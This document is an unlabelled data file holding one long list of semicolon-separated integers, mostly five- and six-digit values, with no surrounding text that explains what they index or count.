57172;27073;50588;12716;50706;53198;96184;74970;16197;77154;106974;27319;52868;69329;54349;35863;39361;66479;17033;93558;40195;96296;41894;13449;64660;106562;54257;17533;90996;82759;91989;86277;20571;86352;78569;14961;69174;94550;96112;94517;54547;104872;12733;96692;66122;34571;18281;80707;79738;64032;99916;16277;59985;105684;90980;80678;71754;55035;54876;105811;38606;42179;74948;93234;46776;36320;71706;49227;40324;69299;13734;15244;30413;40305;36585;70586;35484;71646;37520;63228;96224;58251;82522;81915;58757;89184;99824;87317;49526;57583;53797;50521;92509;97372;70974;42414;81960;99817;70370;42183;64748;34065;19074;56275;46043;100662;59131;105677;53206;101517;26893;26404;30333;104558;77759;62121;77134;52593;13011;82519;21911;20256;79180;90999;24115;90536;70108;52889;10981;25672;95513;91050;42341;11954;101540;101129;57648;57661;87455;39850;44586;61478;87282;30338;107143;59579;86014;87355;106414;29943;91837;34362;16296;84781;45507;67831;76590;58432;105230;35980;84835;89668;66756;45321;34155;23128;30494;26992;74237;53142;70558;35357;64702;78292;43584;200139;105621;80510;200099;45678;56036;91599;84478;87742;40106;41975;49950;40359;58952;28797;22791;93691;48528;73990;102908;87535;105574;26258;81090;57091;58103;96122;97397;32986;60329;107005;97109;66334;58350;49310;81591;84388;25086;100086;24144;90434;49209;61671;33352;81572;49267;97949;88157;82322;58090;91509;67007;68956;70491;84132;11098;78747;18637;71908;36463;104030;63979;49747;56905;54678;59442;68704;55257;75942;60982;70767;91619;94417;67355;86567;33892;99926;61862;92533;104339;99819;68024;93207;49683;25465;40047;25876;85435;61967;96087;10657;44534;69305;38372;57151;76817;71647;57550;63179;74151;77874;85547;53980;63135;91146;18262;105532;90656;71162;50543;33040;68804;17426;14869;81672;31461;105896;78107;18064;63434;62225;32731;73889;48240;91354;62223;83821;12974;60471;102904;21034;11854;20609;73576;70242;19462;55833;105813;79787;58226;106865;42225;15928;79910;59201;47355;94534;69531;87871;17512;25305;54280;68212;67664;81424;76341;89056;99126;41863;63370;61734;49068;32880;100807;22284;39258;60533;11998;48404;92449;17391;35911;89453;14717;54225;62039;85210;41641;17437;43721;28676;19138;75891;101240;41754;91774;52061;84498;31294;40055;60791;68498;13958;23779;95641;86387;70708;94556;63916;42215;103378;73220;103904;25230;87927;88178;10424;62815;86156;106576;69825;26074;85105;11599;49289;104720;25846;11503;29326;57949;20046;67811;96690;62882;79337;50047;79113;12498;85114;30085;15927;99128;14557;30890;101229;40968;28610;106761;13262;25041;38858;80732;33377;11733;56838;38301;77673;74649;17164;52139;99908;63535;41508;43130;10998;40104;32177;55607;102659;81630;70172;41602;86362;102932;100926;83027;97236;24453;40240;64479;50991;91016;68609;22469;21482;42485;62910;66027;62937;25604;104606;23735;86143;29235;57536;34272;61514;92911;53158;85586;11031;91570;55033;93818;19721;32894;71837;75235;18927;65859;53069;67499;74779;57912;85027;54076;81969;94179;69415;25477;10701;88025;44244;102667;32123;68211;35325;76580;17501;45276;31264;22657;45166;11814;45894;22291;15850;82454;103343;66102;28210;60306;10884;45086;39480;52830;59308;101367;17371;25550;66892;38243;40161;102886;102061;26823;82750;106686;77879;65715;64850;59532;102740;67942;72466;49113;92678;51223;73527;47735;15400;79308;70049;99010;20022;86238;43024;34484;87481;26609;22200;93671;42981;22750;44646;64508;200092;18391;63469;53558;65075;48450;106707;104951;101904;30786;102395;87324;16190;51772;55967;104252;67963;15804;65149;32957;100683;32117;22622;96616;45344;36745;13849;53909;54164;105303;83327;30898;63251;101153;103211;51464;59154;53215;21714;43255;100153;105804;51051;79281;95519;103050;21465;12456;10370;79940;27941;23531;73317;27248;66094;16903;71472;74116;93339;97687;67238;22190;62371;39676;101356;65110;29510;61152;16446;67264;32964;58553;63125;47135;43156;29228;26755;72525;100110;53857;29499;72549;65748;95775;83129;45744;102161;12850;59444;29973;101320;32795;88912;47204;28856;28574;23591;24398;14013;68149;96718;77272;55855;101620;59772;49301;61027;62011;45559;21976;87881;58314;88067;104366;103431;46528;91096;13959;34890;22205;80056;67651;62444;55302;105072;34756;100832;66009;41210;49730;32706;97573;83601;12488;50500;14782;47901;29479;65569;40227;50088;87792;106557;68679;101764;25366;99570;29576;16097;93382;99371;25778;46433;23654;11432;42002;68210;71888;83344;58381;53463;55275;30748;80906;81879;76553;11631;11918;73942;49465;48296;60153;15616;38297;85807;95335;32980;101408;102315;90086;82626;58013;52887;28706;40916;40579;60244;20482;95793;72131;104827;70504;101371;67205;84152;76886;31607;60556;99553;103059;49222;19718;53411;96198;87435;77367;29749;44415;67134;25188;39796;83603;33881;70148;57376;38554;69416;54056;105006;85479;46432;89671;23204;81574;44990;43364;25213;83395;74722;65280;18541;52691;99074;19923;85678;63195;59240;19869;15272;21215;34852;42398;94992;33469;60421;14630;22882;46679;16153;96933;36221;88463;27349;56254;92505;53922;42517;86902;10030;33631;29422;66879;57722;96060;40866;42740;16649;16032;17158;89098;103499;29702;83774;59631;27390;48314;97579;105939;77806;15772;85216;56100;74289;71880;38692;78783;15934;91928;91425;101509;42009;71899;84968;18620;61437;63078;74314;99563;27139;26603;33408;37746;13542;14510;97174;48509;45865;13219;95977;74507;97343;100168;106706;68148;200126;59336;59981;31503;106817;44664;44890;52930;60330;73261;45057;27330;18988;39459;78872;64624;80105;47843;55815;17684;93711;55789;23817;101249;59745;49913;56071;32579;27298;96432;71743;68996;96778;11802;94874;17469;74474;35709;85527;90035;11394;89091;31661;52341;46392;38280;31276;99778;36714;65763;77348;11084;37909;27590;76766;105783;58759;89136;25779;61892;49607;97914;38623;200111;97167;57334;96785;45955;99432;71088;81834;63710;86895;67820;43296;65398;53488;34392;53222;43055;90480;64433;40262;67855;12564;27984;75630;70311;45694;65655;69161;79507;68437;74676;57638;69954;42101;68073;100992;26559;15595;106425;36540;20588;77165;82236;105428;38569;32803;13123;73918;82870;40581;93009;30989;42012;70728;71876;19843;91606;95394;85523;42639;100471;28814;74219;13741;46563;12448;81386;42948;64257;85949;79026;29948;48992;23406;72768;28986;80396;14136;21160;22226;81077;70785;18897;30644;101352;44589;63790;11153;105888;43310;59276;56710;12487;84254;93834;28104;96581;43072;49759;78632;104090;28241;17535;60066;54475;29239;44168;76995;52652;56703;10160;70852;67683;77096;78882;90465;54473;59779;12068;31703;50066;54559;33139;38826;80039;92913;77075;23948;34234;99349;89815;78577;58911;47245;31239;23083;97897;54104;72278;58477;80469;102953;25900;64986;82815;40570;71967;78553;83158;21711;34450;22686;54256;75918;60664;77520;63917;14339;86765;10381;64844;102381;67328;79299;75690;83330;28290;63133;59323;61378;96758;68774;99739;86155;86498;76509;73142;48832;80015;74707;89262;72715;57176;76836;89264;40831;97242;44655;58058;66631;35104;11842;11843;55018;60981;45608;57759;86921;21324;53612;15197;67662;62623;10881;93320;54632;22643;16842;92065;60401;29051;90088;56448;66576;58810;37310;19002;38303;18152;10167;50351;59237;36242;31511;22300;28286;69300;67100;93785;36004;16890;66236;67808;35557;49784;22653;35543;34108;13178;81069;46257;104543;38953;16615;69321;42989;10695;35280;80283;97928;22871;36875;68819;90645;61979;78120;35632;20164;17608;25024;95870;67104;100026;17542;50551;87992;46889;83598;93315;32333;30987;104377;44324;27629;74497;71491;105210;83838;66032;14762;41130;85566;104164;36996;75364;58448;104760;86106;99855;72117;90937;102699;70382;65498;81547;80882;68063;79077;65716;82021;31950;89960;41365;63180;88058;80513;84577;26764;42297;71863;88552;94022;64030;70761;22099;16325;90624;65826;51015;49322;102031;63631;46652;23438;45596;60764;90671;60905;38400;20535;77743;23254;23235;21885;45904;74208;61297;84255;104191;57512;49473;43307;100302;33380;95741;100363;99399;69539;79065;63478;77555;27007;81875;55660;76020;65737;26605;49087;27165;94559;67478;62155;49003;25164;11600;54093;15051;67258;47855;20790;45103;76789;21996;25243;104877;68919;71286;38716;11578;71872;29767;53340;37766;94654;66594;82210;86406;12084;28475;90547;89416;25934;14347;29481;10461;93395;25719;59918;41552;12744;68433;40371;21060;102889;39929;75230;16914;60031;28761;33544;49560;17253;84305;103563;18161;42723;71753;79425;29790;79136;81197;34552;26818;39262;58337;34254;23844;38578;23920;16671;85356;88135;18065;44694;17321;86864;24532;87172;63493;54755;80959;22678;20564;93289;55125;75030;66057;21784;16557;65785;94013;56056;96621;106203;51180;55266;22869;60492;26419;93263;75388;76479;105273;39799;69390;95540;84876;64912;105083;101297;100969;10195;55506;24250;19065;91234;69966;24433;91977;90123;58287;63837;77482;93591;41156;83953;76923;48251;79158;60331;81171;26027;45115;87205;86842;82469;34427;35900;19166;71551;85578;43873;77127;18634;54535;92284;28513;64341;29739;76575;26450;80364;30235;42035;93362;21500;76133;23732;100865;106192;34440;82280;51586;21690;105056;103206;26510;41880;90584;68237;43205;37116;12670;59947;32506;21594;59519;19880;71877;54271;91758;32671;24551;82945;30025;47828;102097;54381;46456;43892;54579;80066;89789;33749;69051;44858;50739;99833;50441;85278;82927;11699;73904;103636;97359;83981;89890;47553;106971;88748;29221;29107;66747;41793;23532;22929;90827;67234;41586;69026;83435;18261;29819;36827;83254;18518;102498;51299;97302;85334;20283;26244;84324;25533;60630;15541;44992;61079;70999;90165;54379;38073;53633;85858;22183;11803;103056;27227;60976;90340;88963;15544;42574;106442;50888;53471;11395;33013;53073;38993;29972;72782;45107;18992;90961;18319;10035;100420;47282;82103;89919;85401;15648;92132;15475;103204;103275;48851;65752;28303;106829;24052;10041;57491;74681;60174;86781;80564;49677;87156;38324;60958;26978;81896;99939;103914;103152;97308;10556;18450;101146;29288;14527;97803;84536;59488;53324;71866;34549;22097;100010;89623;48931;22692;39878;58736;79560;22958;94387;77299;75980;22182;47759;49692;13143;82987;103207;57718;36979;87824;54361;89930;61063;35641;54323;20660;34699;62207;11188;38637;35516;94242;100991;45190;91685;86595;54298;49067;26182;76372;17993;87140;11861;51411;73575;68625;70460;90640;38344;31527;101789;83206;93305;50079;73913;89329;42715;27960;86286;75405;14942;79419;61360;34293;81713;57764;60319;93796;100404;93308;26625;19354;16870;18113;87305;97081;66059;99048;46196;75978;24527;84260;22010;53985;101480;16034;71208;36422;23721;40348;20080;65844;57675;76745;74809;30532;83755;93466;79248;47113;14173;91981;19697;104990;91699;60482;53370;91382;93637;43630;10944;60560;84034;73239;30557;90405;33920;12589;93576;103712;54111;22930;83442;12525;101868;55988;42804;41590;27506;60704;87681;71951;15362;102629;102543;44637;19384;64992;68725;77062;59959;86072;75034;40855;50996;68615;101082;77548;105663;91017;46908;80714;84739;32310;81238;81206;57184;78498;89055;47016;41108;20983;26367;76941;34257;38904;22324;24092;24517;99359;20419;10054;92374;36123;89999;94967;46275;87293;57395;75995;77465;66642;50862;85193;69393;56321;93364;44658;22308;60449;75027;61712;55537;101905;18474;37764;78392;93653;25331;90746;47651;42146;67703;106861;49075;46217;85470;71587;63730;81152;67377;66968;56012;15241;103994;75865;58532;78635;20293;73144;37604;95433;38728;13134;103335;20071;30337;106211;26218;54444;39951;56120;63860;56544;44489;11914;104253;23179;12848;89034;94873;80803;106538;82141;102152;72660;14998;43800;17226;87507;82829;62997;86565;75884;65068;62533;36929;77310;15455;81051;32414;71241;59673;63400;35991;11588;13006;33056;79384;55383;54650;84429;54684;44967;95537;40275;24900;48255;33431;94938;95683;59081;30132;84136;24824;87844;59791;96416;90505;61215;99929;21703;93085;13012;68248;59630;101920;84839;105054;99856;14369;41293;58949;26652;88509;86768;107145;88572;44048;88539;73064;36071;96868;50952;67928;70709;18855;67249;101959;35037;76087;40496;14916;103021;12502;13893;54973;19359;10684;44105;36947;93331;38103;16082;75759;56179;22509;103886;46655;10509;99683;61674;20735;100071;81075;62965;64640;82253;71024;76037;72931;90166;36762;78634;15746;53925;83567;11506;33466;63420;93989;94868;39854;60307;66316;94463;34118;51390;19992;104436;78789;38399;106812;96964;73545;10604;40956;96350;25379;46578;55060;49572;28968;73005;77231;45248;30165;54599;84785;45588;63808;69720;17150;33902;28024;28205;93042;32251;71318;19988;64810;21331;48905;51991;33391;26274;69364;23156;100115;76687;13022;59634;80874;97921;74018;77504;64057;81914;35642;85276;104117;90381;84751;86611;16664;27517;65775;103879;88522;20511;15694;15580;107122;93413;94966;22449;60286;51064;37404;14255;104032;45944;44521;63345;41202;25505;95328;46441;56020;102080;101632;72405;19650;54995;93710;68195;21001;105064;17657;80107;77815;71240;102497;101269;45648;12816;67745;97563;79544;70810;36942;60037;56721;69742;88994;25445;92938;40028;63191;51089;44051;52881;95725;101881;70032;67567;23751;93654;23382;53019;93536;59366;102018;63772;12557;104485;43805;27993;46782;42861;100788;63408;85422;70618;92447;52295;57239;68309;80000;92972;103381;56313;29620;27220;45808;39704;99877;93988;40107;56659;45977;74941;27936;102833;74588;27801;93683;93860;32903;53295;50667;87712;44172;30610;78527;99829;44115;82992;26479;28829;11390;100455;41047;53163;66114;92166;54813;31602;79274;76148;56620;61705;39453;52854;72776;88640;73525;97591;57142;78782;30397;58588;44699;59092;27364;41422;70327;20170;106560;22048;16442;23392;47535;43336;21344;18048;23283;96042;73264;39599;10689;72868;72123;47792;30070;30687;28773;64429;27846;95337;46912;83595;82251;15765;89239;10570;10465;69562;49335;32113;72816;86790;27695;56213;86298;61850;29985;30841;53723;100357;85366;89343;12682;35639;54106;42844;96656;31722;104435;80143;32324;35336;106060;104162;31068;86303;45161;52427;27091;83750;38912;43090;57856;104205;63572;44467;55082;96761;95401;43184;23243;31101;42226;63515;10720;76240;39275;32799;74308;27362;20294;80318;97431;97105;101032;31528;27643;29368;16702;93254;51997;36044;102413;23585;65863;76988;11019;97051;11731;43504;50932;44860;87765;10691;70668;60585;69323;86841;61477;48965;99129;105481;55418;55149;54946;22566;61202;55632;74643;81405;18136;62258;65348;67763;75169;26655;89450;90766;88608;58045;50416;82269;104675;50767;60014;74629;18844;74860;18244;80492;103685;36251;14070;39158;82761;57957;68179;89497;36233;106769;63516;15085;53681;104070;101495;80147;66599;30077;49826;50870;79890;43927;22349;27031;91701;43192;13539;80269;51818;76304;60699;47827;30258;75813;37624;101048;63138;54181;97143;27741;63919;106290;12013;38025;61148;16475;24596;10002;25203;90108;99391;99410;86590;58250;30528;72731;29353;54828;87517;78720;79086;67341;66257;87066;97773;58006;20213;63285;71511;23713;81616;49519;76379;75440;57013;21188;82094;66630;81529;28213;56471;28100;64389;79238;83772;12548;18321;44736;86516;54014;15894;72194;97671;22646;55291;71637;66036;50305;46430;79134;57004;34442;99446;66906;33319;64861;35591;93523;35377;57276;16926;37695;47511;90028;79383;86761;54203;77435;34864;41481;92396;50456;94472;82602;25628;91324;45656;28982;22023;17051;73436;81756;79598;50605;26234;79900;51922;77713;27287;26808;95692;65468;46535;56212;36324;41990;83656;32127;63699;103726;42281;62826;61945;41543;26555;53051;38478;51759;96298;70699;58028;27906;104651;72028;33302;42210;15404;92071;82746;13792;41456;14563;75924;57975;105206;28851;51861;20375;34229;13521;68356;26787;16727;14431;23441;23040;25989;42988;34141;20653;77954;11456;56335;46041;63733;23362;52654;76170;81184;41094;89589;92053;59183;10419;97207;33439;61936;94834;24728;28899;16483;31383;91801;16818;99538;50231;28410;62219;48329;91262;87790;57370;91306;26034;51248;46046;10798;51113;26245;105625;19627;39900;77767;37897;79411;89590;61735;60141;105382;40874;49698;70670;104125;81178;31187;94667;77499;15538;44530;41923;92220;80087;75914;88077;56537;15745;106631;26651;43446;28430;19724;65350;28647;94360;15924;48249;18055;77736;50829;47688;56412;20800;105235;17530;47205;86350;29589;84914;41213;19634;32239;99798;25995;71677;59687;39123;58773;85967;63507;93719;79379;83510;49922;65192;38935;19294;27583;105384;92259;41544;68898;63650;50034;55117;16025;37619;72082;70146;62018;83172;57443;50389;72220;54821;46248;73739;54073;74659;76564;96365;13704;46434;59728;67874;12114;16690;41866;105603;64768;25241;67252;80974;70031;90498;31712;105041;72554;101079;38703;66020;74488;70077;36270;65862;99006;25268;15013;100555;47885;40194;22424;26192;89593;46621;15504;90970;80692;16781;16792;101796;61722;65362;67309;105136;89489;88928;23832;83764;87389;19105;47515;105319;91735;71307;13512;20208;29800;23073;11388;71836;54826;103566;15891;23155;23766;57531;80709;60805;15945;58072;32039;86222;88128;69602;49551;56426;85361;77616;13672;46032;78916;96074;14485;12941;53412;29951;48682;101926;73994;89238;12326;56922;45234;82068;73769;17534;45129;12829;105700;51643;76204;40074;25926;22154;56067;84308;22222;26459;85290;19636;86771;63060;63374;62650;79361;69138;11116;27574;87910;101593;25691;63661;84392;77070;55187;27112;16642;74502;70652;21803;16091;89540;31809;41137;74611;82913;100155;40589;101361;105092;41826;87768;49292;34576;65400;30607;52001;14823;104238;25808;64227;24064;43835;31168;86965;26554;76706;94753;18861;102732;68884;45239;42855;35291;56653;95370;74060;78878;73232;60008;21257;72943;19781;58325;23144;68194;74658;103346;74952;86952;49323;78870;92278;12856;58894;64492;35147;106613;99518;26613;43442;45368;70908;28593;49878;94312;44565;87181;17436;58906;18650;71540;43435;46649;30197;56370;19529;51720;87862;44961;56080;100614;101045;56742;74725;30218;70809;20708;42841;79033;27786;93872;27788;31524;65877;105828;31925;42810;34125;76642;83102;37987;14495;105101;34351;102945;88422;61398;42588;95616;14771;20738;21892;58395;97489;50223;34431;17126;75579;68683;20815;77071;91269;86116;89332;42034;61377;57410;68907;26571;38751;65753;43763;75327;104407;55456;34831;53145;34594;17076;56013;16050;87359;99377;63532;55178;58285;40294;64961;62257;50700;77308;55235;11790;24833;62835;29959;36122;45341;93230;26008;59232;33980;94368;51375;104496;29911;12363;85766;40679;106074;80905;25982;10161;80549;42133;90658;37735;35514;28671;28522;34324;45414;94512;62923;18466;62854;39130;88747;70492;17045;24360;83582;72136;45669;36749;21036;87757;84688;78126;55380;27029;59318;31658;86980;21435;68913;85790;50813;41153;24584;100620;40346;42534;62813;44396;16365;80525;55158;15376;59610;69445;42293;41034;67792;34670;76130;88657;57084;56553;103696;73955;72219;79307;73172;95259;70414;66686;23526;50361;97613;61489;35031;86914;30052;28925;19851;55400;63328;52634;78006;76329;93175;89310;82239;102735;97887;100760;73470;49686;79628;12596;47177;62756;19820;48501;75025;85238;26405;88929;43018;82226;26976;88106;43574;42084;59238;26162;17174;11183;42807;87071;31916;75938;75427;42198;36853;39419;80907;99862;75524;82536;105070;33772;105789;38192;37820;22552;67554;93086;55464;105661;25029;45909;88616;86435;51863;84993;54697;43977;48844;54484;15652;14477;104491;59176;91021;49529;33306;86707;27034;78247;29947;78889;47035;104984;41824;95289;15412;37219;74891;62515;100593;105760;25125;57316;10071;85387;18025;64760;15605;97266;28651;41295;55047;57735;15048;21042;36515;50331;69951;87147;74096;34938;70559;88072;68749;96599;89095;31454;56526;25165;56684;91863;32258;97855;55899;57127;93135;93746;45145;93082;75621;97370;77935;32855;49705;37159;65178;87145;48455;100063;56112;23903;35738;50148;93862;101543;90950;28581;15561;71048;22225;58563;46884;103003;14021;93519;88590;100173;73052;15354;35174;42461;79988;82588;41930;55565;53388;19510;31668;63382;45693;24139;102956;88981;61822;26640;55649;62729;82673;15352;15817;65904;21350;58018;12339;87475;84890;21438;44768;67022;64985;35378;33226;85339;41268;36332;16533;63371;63806;91350;101790;22705;104680;65495;41006;69457;80584;41051;96888;21167;30969;15458;53597;25150;106124;102692;72594;94926;79632;41538;25333;96291;62374;103928;22914;96743;84511;90483;10468;15550;78424;35948;101286;17232;69598;46407;97743;106659;32819;100375;21284;106656;76435;96225;59626;75933;16251;43481;64776;35327;51413;44566;41399;41383;61692;84099;82586;12313;36360;80743;30905;64224;17730;70880;48154;50132;28464;103945;92559;102287;85860;51181;54391;21695;105457;74811;19469;100678;68138;49469;99787;61316;14086;50519;60869;74985;84006;81913;200024;70922;15953;48952;46694;90770;31151;52114;73014;60874;80459;89019;11210;35891;18615;54406;14391;24181;87976;63280;12077;54143;40567;43625;87510;92939;19558;13803;96071;100876;81489;16036;26663;102495;23147;57332;60921;67886;97246;19402;51952;35763;42721;43409;65014;58405;41084;79675;33260;75564;83479;63082;43116;97837;26257;105843;46024;28368;84830;74262;14760;15307;99583;105566;62401;65507;73101;87452;101252;25152;34203;19867;84214;68703;61984;61891;97534;72401;23077;25857;54101;81308;60365;12432;37444;96814;63105;18979;28919;103322;55532;31719;96124;57518;32740;29001;36454;37093;96609;63203;22341;35230;94114;21596;67011;54586;17309;37001;85758;88895;28642;37065;62402;56291;62266;47715;59671;87968;106959;71040;94336;63812;100023;64228;38024;104887;72114;75706;41277;61094;42697;12627;76350;26751;96201;45473;75831;23269;59696;34076;91284;88460;21633;40061;48554;63740;70993;23150;11873;68503;55216;89853;38899;32539;78909;89953;106522;90816;39222;50212;71212;38764;19657;85904;103316;97684;82272;12780;39770;61493;91730;34959;39256;45394;48370;50910;48165;105003;80287;32160;47607;92592;100256;96906;104995;93276;99525;42379;78180;31223;13474;35982;14024;84172;48781;42652;96600;60548;66178;60299;103160;84770;14728;43337;99668;99063;49981;12844;106107;42720;28566;37089;78941;95918;58782;39971;20885;76134;58457;54699;74835;73791;89619;61631;50479;70105;11628;107124;48485;37380;96118;15181;39713;21650;103897;54962;29117;100915;90675;92983;75005;43128;65254;62565;76448;84881;69120;53087;51232;18422;101845;71609;38844;16503;87966;38176;96947;103262;13350;40075;63020;35781;45153;45447;25092;23321;30003;47433;102299;21385;57235;47187;45557;24015;80184;21487;103988;72288;65666;14669;55754;27962;90216;65645;93008;39707;86918;54866;19844;85423;95776;64140;104850;76246;87767;50238;29667;47086;14751;70635;92011;44680;88654;92236;88521;29603;103294;49216;102284;12122;44321;101682;22774;17211;11682;69737;27728;26670;93627;83918;37428;88826;26255;35984;96174;21716;63008;36033;60558;75057;27932;56009;18955;54370;88059;67213;67891;34397;40337;101251;43428;41603;64467;81338;11404;72509;94045;53668;21986;57650;45017;99665;43902;20862;72761;43876;101423;27470;93895;10261;17333;59313;78510;94101;73681;76269;10903;25055;59044;11217;48209;49342;39178;69813;61624;81249;25178;15427;69528;67785;32072;46929;33963;51546;12722;89720;40709;42563;105839;100781;33877;17745;71640;96288;37151;81088;88667;51228;35054;60344;41807;56189;97229;11208;86475;48324;22242;83095;40518;95025;87190;92745;15340;31146;82107;46989;42958;88891;92144;103416;73451;21854;54857;75965;40297;52037;50241;60270;46238;78158;80535;73029;82457;97904;83242;13018;69256;102959;27097;33848;79372;17215;83832;58146;74460;94587;34947;72656;55724;26435;105972;18337;53321;50827;30137;90073;66656;106056;39753;47100;21792;84497;23299;95644;36393;106674;43616;62069;44892;101647;44267;58674;72072;73039;64808;55409;52688;76807;47686;103538;27274;75743;88687;90990;74566;82890;63139;87285;57267;106593;73301;80514;104755;52361;35316;20474;101872;103553;101585;34010;42682;23218;66353;36781;32528;26686;88886;32602;24758;90212;24711;103079;93398;36773;34087;30553;84548;12692;20417;83935;88564;16149;58847;61932;70219;88900;53802;55769;90668;72018;76413;101555;100888;20988;31377;90687;32781;28465;81119;91326;66229;48617;87945;78048;34111;31051;200029;45979;34930;100335;84726;65337;19782;12994;68451;84386;27556;92534;45187;78841;99449;61518;48541;32573;28561;22248;91205;60089;71995;45296;30835;64930;99002;79879;56820;68516;11201;96446;22245;63925;75088;33807;93504;77670;37545;90450;54682;63866;97883;71500;81989;44249;30623;33215;67471;58801;71348;68468;10788;55612;85947;15187;103245;26096;103409;20724;102291;46975;29197;44238;37830;35839;80031;101375;103309;102244;37853;23473;45357;26582;21503;29369;104138;63528;46971;40555;62949;12354;81012;92628;78369;28431;104499;63617;89309;24932;24055;75491;84629;89015;59262;65558;17422;76426;73387;52772;96612;14314;64355;94361;16210;16087;83578;24953;22071;12389;28938;30588;94581;44770;52812;32281;101866;66681;71526;68208;61776;87850;71817;72711;50762;47071;33855;47865;69626;30710;92754;100076;19790;80223;33564;42504;81779;37068;79501;43678;61474;21249;37676;56052;105134;35662;40478;58984;10677;104816;49171;105280;31680;20944;57277;40896;38894;19598;94543;75141;38654;81493;26850;76263;51394;14445;65987;46412;18359;76720;105840;70417;30366;84493;26368;24257;20828;39457;63742;74425;27035;105375;19107;47031;31009;51382;63027;84967;94678;28788;93703;37618;15226;82173;69925;12633;100673;21581;27157;14837;26912;76622;29031;41393;101288;31420;93854;18928;60118;20216;14378;94787;37875;44840;54990;93160;49142;73506;13668;104462;14130;28538;20922;15883;96733;41876;34909;60312;30114;43709;89189;62872;97805;69773;56800;53041;103051;71945;19067;82373;22805;48182;27613;29772;95947;73752;80660;101204;90819;56294;96195;32613;67840;88570;55562;64730;68111;31225;21825;63965;96495;52847;69488;47771;17810;97827;50366;87713;62889;48928;61554;29781;92734;65747;11929;102490;69775;43576;105750;34160;44643;58954;103796;43107;12993;61407;74485;17711;24406;64026;61394;74057;90836;38010;12048;85568;27046;59071;87957;42422;93471;87719;61920;82628;89943;43157;67498;82408;25338;59694;58198;65960;60891;14539;15849;87291;49514;33208;91478;40425;47166;86410;39813;12845;55078;94637;97213;14143;35440;105431;85539;97176;57841;12554;91391;34874;61379;57634;94931;36735;33115;50970;33865;106355;54665;45032;36362;77542;93550;41457;90172;33433;19478;81435;55928;77810;46714;40158;39546;26805;97072;52034;76071;27956;65606;77941;43123;12661;18320;95809;45683;42666;63796;48241;46474;55687;60317;32797;80588;53194;83022;39184;42010;60724;79965;40660;66323;46134;45858;80083;72234;84883;12940;90419;81297;46846;59008;82304;46242;33071;31176;82737;73139;87364;80579;10654;71523;100332;52513;13086;19440;14358;46061;13838;68790;80235;91043;81363;86249;70542;103899;63351;10120;34415;46099;18314;72235;80116;85529;26614;26810;22353;27374;86503;65849;86205;83379;54972;43792;50913;27973;10292;80779;90313;69153;72721;77203;34546;36772;62850;67493;44811;72667;93909;97510;60570;17169;84652;79087;79877;80181;18643;48518;73555;76823;23412;57674;24199;78067;79118;68035;100301;86332;105808;30984;80475;64295;11827;64096;38137;82273;59268;86368;26656;91670;15265;82076;32593;37271;11561;95420;47342;92573;54801;54220;53742;61231;60213;55509;67687;63311;29155;96865;87089;59516;80285;59148;58828;107096;52307;64101;60472;68188;42806;87428;44431;20577;70615;17177;74792;21656;37996;34599;79722;68877;49232;20576;23826;77893;54825;65754;69703;29327;93340;38480;78942;14144;61688;80033;71291;64849;50699;10925;27766;46643;99085;60410;34443;52043;91640;91929;105186;86659;47434;15248;10803;56853;17681;36913;47833;92125;78014;74458;68806;53057;15930;86978;105944;52033;27776;63924;55832;12524;101590;72516;76690;51524;67537;37851;92520;23335;76169;82990;106232;43638;84985;84744;55932;46140;65690;23581;12846;97537;39976;35199;37623;81098;29566;66635;48625;65308;19387;97561;47576;55836;68952;78104;65669;104475;88461;89527;19797;38497;27841;16297;99589;79256;58880;57730;100350;88730;28868;19454;94303;55163;95342;103304;41357;44333;81917;41721;56584;97920;70608;16407;85574;47168;99386;58890;26427;103353;40929;18285;14435;20561;23793;11350;64047;57582;84767;62848;65361;27204;11569;99260;21898;20915;46320;55129;30339;57157;71973;57381;60398;18408;47070;99292;36705;92463;38451;13491;67883;75288;58324;70194;20602;26774;52665;59013;28495;20972;97404;68242;75216;82400;84062;46660;26332;21750;71044;39286;39252;85615;68934;55985;103671;102873;54513;67648;59731;41411;87806;77305;79549;26752;29850;70945;73539;106957;78537;60257;16014;78667;69969;53083;51026;90296;78521;24730;15942;28042;76041;21567;21821;78116;35271;55656;37079;41578;81695;104618;71801;58980;28215;43620;71449;88553;87922;25674;94367;81800;79264;77486;61723;11276;67991;26076;93744;48922;34799;25197;52098;104318;60476;19983;26276;56356;28178;89636;25958;28479;80854;16244;72537;55293;29983;17539;53154;42344;25078;106642;81455;85591;89606;87541;55137;89794;32837;77650;15868;102787;105698;64854;11093;80915;42994;43104;62574;20049;58092;44163;48354;100464;105404;101893;43240;39089;73148;42056;66917;65952;79426;55772;45342;55120;51919;16012;87310;49338;50494;82556;84905;68293;62477;23824;94128;66509;58607;55034;29419;80710;59818;99793;83640;60409;93712;75758;93639;54115;56697;31402;68049;51104;74353;21368;52622;101550;75713;12800;55478;13979;71319;60155;60364;105904;28893;97793;86704;23465;44919;34225;79333;79024;100511;39624;56661;58562;83668;44103;51481;18997;78905;88953;88622;26901;102459;39592;30981;40171;66405;80947;35616;23719;96128;88586;22942;101761;101133;57145;20414;85995;41392;38972;73558;12634;31795;36131;39051;56934;38670;11581;36921;85186;70700;62853;40322;97664;95411;15098;46244;83164;19693;45937;46387;105094;96076;38689;95681;27749;58383;73109;38489;76908;82742;69474;103427;83261;82012;22878;57776;85318;105556;46455;61186;91209;31200;103662;84748;17835;24652;49472;42508;90775;52082;71838;39742;26007;29797;94448;47010;79428;34310;36248;104753;87467;57285;53184;10416;90921;42468;22193;70541;44615;39097;85942;18463;47432;25975;40290;17254;90164;16695;72350;42862;53408;23452;99082;75271;64867;31147;51269;79505;70120;17262;56492;56957;29550;64104;63131;16427;75571;70528;59606;55115;103768;15255;41769;38100;75799;83448;61877;97355;24452;23813;34308;52434;28275;48621;27012;44068;17369;88425;54733;38788;77173;62740;92119;72950;50887;13367;79349;73030;34746;40861;104773;85482;90800;61409;60725;105249;48495;15642;17077;28157;46357;32352;36502;23238;69978;53487;103458;75937;62918;79302;48367;30711;106062;59068;60757;84949;88582;29118;101465;77050;74711;49561;37664;16829;37696;104690;62844;83883;13440;87773;29698;200015;16079;27048;15058;61949;18963;40680;38773;88726;22314;32248;42015;30345;89446;95777;61627;43920;26904;15417;39320;71305;62216;91843;11563;55805;101549;94440;32300;76174;23571;58356;13763;67299;35334;41836;37158;53407;56473;103578;103516;31796;62692;19687;49077;29162;93279;70724;62130;49865;57853;10123;51428;92631;82680;70234;50455;96345;49161;10551;21113;95898;52670;86024;46634;102424;72492;11256;93049;68370;96662;25680;19882;88766;58057;68829;26604;45301;25648;18240;16328;37043;13942;36993;105976;41158;97933;58056;62587;19000;34146;43121;79339;62443;63821;102554;40517;74212;60357;71009;96388;24186;68815;59754;69674;39350;68061;66028;48874;38392;26224;101999;